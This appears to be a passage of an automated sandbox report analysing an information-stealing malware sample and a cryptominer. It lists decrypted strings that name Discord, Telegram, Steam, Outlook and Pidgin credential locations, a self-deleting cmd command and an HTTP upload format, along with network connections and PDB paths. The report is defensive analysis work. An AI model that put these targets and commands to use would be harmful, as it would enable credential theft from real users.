Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: ProcessorNameString
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: DisplayName
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: DisplayVersion
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Network Info:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - IP: IP?
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - Country: ISO?
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: System Summary:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - HWID:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - OS:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - Architecture:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - UserName:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - Computer Name:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - Local Time:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - UTC:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - Language:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - Keyboards:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - Laptop:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - Running Path:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - CPU:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - Threads:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - Cores:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - RAM:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - Display Resolution:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: - GPU:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: User Agents:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Installed Apps:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: All Users:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Current User:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Process List:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: system_info.txt
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: freebl3.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: mozglue.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: msvcp140.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: nss3.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: softokn3.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: vcruntime140.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: \Temp\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: .exe
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: runas
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: open
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: /c start
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: %DESKTOP%
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: %APPDATA%
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: %USERPROFILE%
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: %DOCUMENTS%
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: %RECENT%
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: *.lnk
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: files
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: \discord\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: \Telegram Desktop\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: key_datas
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: map*
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Telegram
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: *.tox
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: *.ini
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Password
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: 00000001
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: 00000002
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: 00000003
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: 00000004
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Pidgin
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: \.purple\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: accounts.xml
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: token:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Software\Valve\Steam
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SteamPath
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: \config\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: ssfn*
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: config.vdf
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: DialogConfig.vdf
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: libraryfolders.vdf
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: loginusers.vdf
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: \Steam\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: sqlite3.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: browsers
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: done
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: soft
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: https
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: POST
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: HTTP/1.1
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: hwid
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: build
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: token
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: file_name
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: file
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: message
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Code function: 5_2_00876B00 CryptUnprotectData,CryptUnprotectData,LocalFree,LocalFree,

5_2_00876B00

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Unpacked PE file: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.unpack
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Unpacked PE file: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.400000.0.unpack
Source: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe	Unpacked PE file: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.unpack

Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe

Directory created: C:\Program Files\Windows Media Player\background.jpg

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 146.70.56.165:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.221.125.202:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.240.132.72:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.240.132.72:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.1:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.0:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.2:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.240.137.134:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.67.133.187:443 -> 192.168.2.4:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.113:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.109.242.59:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.4:63707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.109.242.59:443 -> 192.168.2.4:63713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:63724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:63745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:63744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:63791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:63792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63820 version: TLS 1.2

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765793912.000000000442B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765061034.00000000043D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1766663605.0000000004B9C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1764599218.00000000043D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765238502.00000000043D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765328581.00000000043E0000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1770764041.00000000051A4000.00000004.00000020.00020000.00000000.sdmp, NMSPRoliqHaiq3pjTjf_LdWm.exe, 00000009.00000000.1875232432.00000000007EB000.00000002.00000001.01000000.0000000B.sdmp, NMSPRoliqHaiq3pjTjf_LdWm.exe, 00000009.00000002.2220137506.00000000007EB000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: mozglue.pdbP source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524124918.00000000684ED000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.PDB source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2452071198.000001CED6F00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: MsMpEng.pdbH source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524875877.00000000686AF000.00000002.00000001.01000000.00000029.sdmp
